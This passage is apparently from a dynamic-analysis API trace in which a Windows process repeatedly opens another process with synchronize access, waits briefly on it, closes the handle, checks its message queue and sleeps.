(dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0135.674] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0135.684] CloseHandle (hObject=0xad0) returned 1 [0135.684] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.684] Sleep (dwMilliseconds=0x1) [0135.705] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0135.705] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0135.714] CloseHandle (hObject=0xad0) returned 1 [0135.714] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.714] Sleep (dwMilliseconds=0x1) [0135.730] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0135.730] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0135.745] CloseHandle (hObject=0xad0) returned 1 [0135.745] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.745] Sleep (dwMilliseconds=0x1) [0135.761] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0135.761] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0135.776] CloseHandle (hObject=0xad0) returned 1 [0135.776] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.776] Sleep (dwMilliseconds=0x1) [0135.793] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0135.793] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0135.817] CloseHandle (hObject=0xad0) returned 1 [0135.817] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.817] Sleep (dwMilliseconds=0x1) [0135.824] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0135.824] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0135.838] CloseHandle (hObject=0xad0) returned 1 [0135.838] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.838] Sleep (dwMilliseconds=0x1) [0135.854] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0135.854] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0135.870] CloseHandle (hObject=0xad0) returned 1 [0135.870] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.870] Sleep (dwMilliseconds=0x1) [0135.885] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0135.886] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0135.901] CloseHandle (hObject=0xad0) returned 1 [0135.901] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.901] Sleep (dwMilliseconds=0x1) [0135.917] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0135.917] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0135.934] CloseHandle (hObject=0xad0) returned 1 [0135.934] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.934] Sleep (dwMilliseconds=0x1) [0135.948] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0135.948] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0135.968] CloseHandle (hObject=0xad0) returned 1 [0135.968] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.968] Sleep (dwMilliseconds=0x1) [0135.979] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0135.979] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0135.995] CloseHandle (hObject=0xad0) returned 1 [0135.995] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0135.995] Sleep (dwMilliseconds=0x1) [0136.010] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.010] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.026] CloseHandle (hObject=0xad0) returned 1 [0136.026] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.026] Sleep (dwMilliseconds=0x1) [0136.042] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.042] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.059] CloseHandle (hObject=0xad0) returned 1 [0136.059] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.059] Sleep (dwMilliseconds=0x1) [0136.073] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.073] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.091] CloseHandle (hObject=0xad0) returned 1 [0136.091] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.091] Sleep (dwMilliseconds=0x1) [0136.104] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.104] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.119] CloseHandle (hObject=0xad0) returned 1 [0136.119] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.119] Sleep (dwMilliseconds=0x1) [0136.135] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.135] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.150] CloseHandle (hObject=0xad0) returned 1 [0136.150] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.151] Sleep (dwMilliseconds=0x1) [0136.166] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.166] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.182] CloseHandle (hObject=0xad0) returned 1 [0136.182] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.182] Sleep (dwMilliseconds=0x1) [0136.198] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.198] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.219] CloseHandle (hObject=0xad0) returned 1 [0136.219] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.219] Sleep (dwMilliseconds=0x1) [0136.229] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.229] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.244] CloseHandle (hObject=0xad0) returned 1 [0136.244] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.244] Sleep (dwMilliseconds=0x1) [0136.260] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.260] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.275] CloseHandle (hObject=0xad0) returned 1 [0136.275] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.275] Sleep (dwMilliseconds=0x1) [0136.292] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.292] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.306] CloseHandle (hObject=0xad0) returned 1 [0136.306] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.306] Sleep (dwMilliseconds=0x1) [0136.322] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.322] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.338] CloseHandle (hObject=0xad0) returned 1 [0136.338] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.338] Sleep (dwMilliseconds=0x1) [0136.354] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.354] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.369] CloseHandle (hObject=0xad0) returned 1 [0136.369] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.369] Sleep (dwMilliseconds=0x1) [0136.387] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.387] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.400] CloseHandle (hObject=0xad0) returned 1 [0136.400] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.400] Sleep (dwMilliseconds=0x1) [0136.416] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.416] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.431] CloseHandle (hObject=0xad0) returned 1 [0136.431] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.431] Sleep (dwMilliseconds=0x1) [0136.447] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.447] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.462] CloseHandle (hObject=0xad0) returned 1 [0136.462] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.462] Sleep (dwMilliseconds=0x1) [0136.478] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.478] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.494] CloseHandle (hObject=0xad0) returned 1 [0136.494] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.494] Sleep (dwMilliseconds=0x1) [0136.510] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.510] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.525] CloseHandle (hObject=0xad0) returned 1 [0136.525] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.525] Sleep (dwMilliseconds=0x1) [0136.541] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.541] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.556] CloseHandle (hObject=0xad0) returned 1 [0136.556] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.556] Sleep (dwMilliseconds=0x1) [0136.572] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.572] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.587] CloseHandle (hObject=0xad0) returned 1 [0136.587] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.587] Sleep (dwMilliseconds=0x1) [0136.606] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.606] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.619] CloseHandle (hObject=0xad0) returned 1 [0136.619] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.619] Sleep (dwMilliseconds=0x1) [0136.634] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.634] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.653] CloseHandle (hObject=0xad0) returned 1 [0136.653] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.653] Sleep (dwMilliseconds=0x1) [0136.665] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.665] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.681] CloseHandle (hObject=0xad0) returned 1 [0136.681] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.681] Sleep (dwMilliseconds=0x1) [0136.697] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.697] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.712] CloseHandle (hObject=0xad0) returned 1 [0136.712] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.712] Sleep (dwMilliseconds=0x1) [0136.728] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.728] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.750] CloseHandle (hObject=0xad0) returned 1 [0136.750] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.750] Sleep (dwMilliseconds=0x1) [0136.764] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.764] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.777] CloseHandle (hObject=0xad0) returned 1 [0136.777] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.777] Sleep (dwMilliseconds=0x1) [0136.790] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.790] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.806] CloseHandle (hObject=0xad0) returned 1 [0136.806] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.806] Sleep (dwMilliseconds=0x1) [0136.821] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.821] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.837] CloseHandle (hObject=0xad0) returned 1 [0136.837] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.837] Sleep (dwMilliseconds=0x1) [0136.853] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.853] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.868] CloseHandle (hObject=0xad0) returned 1 [0136.868] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.868] Sleep (dwMilliseconds=0x1) [0136.884] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.884] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.899] CloseHandle (hObject=0xad0) returned 1 [0136.899] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.899] Sleep (dwMilliseconds=0x1) [0136.915] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.915] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.933] CloseHandle (hObject=0xad0) returned 1 [0136.933] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.933] Sleep (dwMilliseconds=0x1) [0136.946] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.947] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.962] CloseHandle (hObject=0xad0) returned 1 [0136.962] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.962] Sleep (dwMilliseconds=0x1) [0136.978] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0136.978] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0136.993] CloseHandle (hObject=0xad0) returned 1 [0136.993] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0136.993] Sleep (dwMilliseconds=0x1) [0137.009] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0137.009] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0137.024] CloseHandle (hObject=0xad0) returned 1 [0137.024] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0137.024] Sleep (dwMilliseconds=0x1) [0137.040] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0137.040] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0137.056] CloseHandle (hObject=0xad0) returned 1 [0137.056] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0137.056] Sleep (dwMilliseconds=0x1) [0137.077] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0137.077] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0137.089] CloseHandle (hObject=0xad0) returned 1 [0137.089] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0137.089] Sleep (dwMilliseconds=0x1) [0137.102] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0137.102] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0137.118] CloseHandle (hObject=0xad0) returned 1 [0137.118] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0137.118] Sleep (dwMilliseconds=0x1) [0137.147] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0137.147] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0137.169] CloseHandle (hObject=0xad0) returned 1 [0137.169] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0137.169] Sleep (dwMilliseconds=0x1) [0137.193] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0137.193] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0137.221] CloseHandle (hObject=0xad0) returned 1 [0137.221] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0137.221] Sleep (dwMilliseconds=0x1) [0137.254] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0137.254] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0137.263] CloseHandle (hObject=0xad4) returned 1 [0137.263] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0137.263] Sleep (dwMilliseconds=0x1) [0137.274] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0137.274] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0137.289] CloseHandle (hObject=0xad4) returned 1 [0137.289] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0137.289] Sleep (dwMilliseconds=0x1) [0137.305] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0137.305] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0137.320] CloseHandle (hObject=0xad4) returned 1 [0137.321] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0137.321] Sleep (dwMilliseconds=0x1) [0137.368] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0137.368] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0137.390] CloseHandle (hObject=0xad0) returned 1 [0137.390] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0137.390] Sleep (dwMilliseconds=0x1) [0137.399] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0137.399] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0137.414] CloseHandle (hObject=0xad0) returned 1 [0137.414] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0137.414] Sleep (dwMilliseconds=0x1) [0137.435] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0137.435] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0137.447] CloseHandle (hObject=0xad0) returned 1 [0137.447] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0137.447] Sleep (dwMilliseconds=0x1) [0137.474] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0137.474] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0137.476] CloseHandle (hObject=0xad0) returned 1 [0137.476] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0137.476] Sleep (dwMilliseconds=0x1) [0137.493] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0137.493] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0137.514] CloseHandle (hObject=0xad0) returned 1 [0137.514] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0137.514] Sleep (dwMilliseconds=0x1) [0137.523] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0137.524] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0137.539] CloseHandle (hObject=0xad0) returned 1 [0137.539] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0137.539] Sleep (dwMilliseconds=0x1) [0137.566] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0137.566] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0137.570] CloseHandle (hObject=0xad4) returned 1 [0137.570] PeekMessageW (in: lpMsg=0x238ff68, 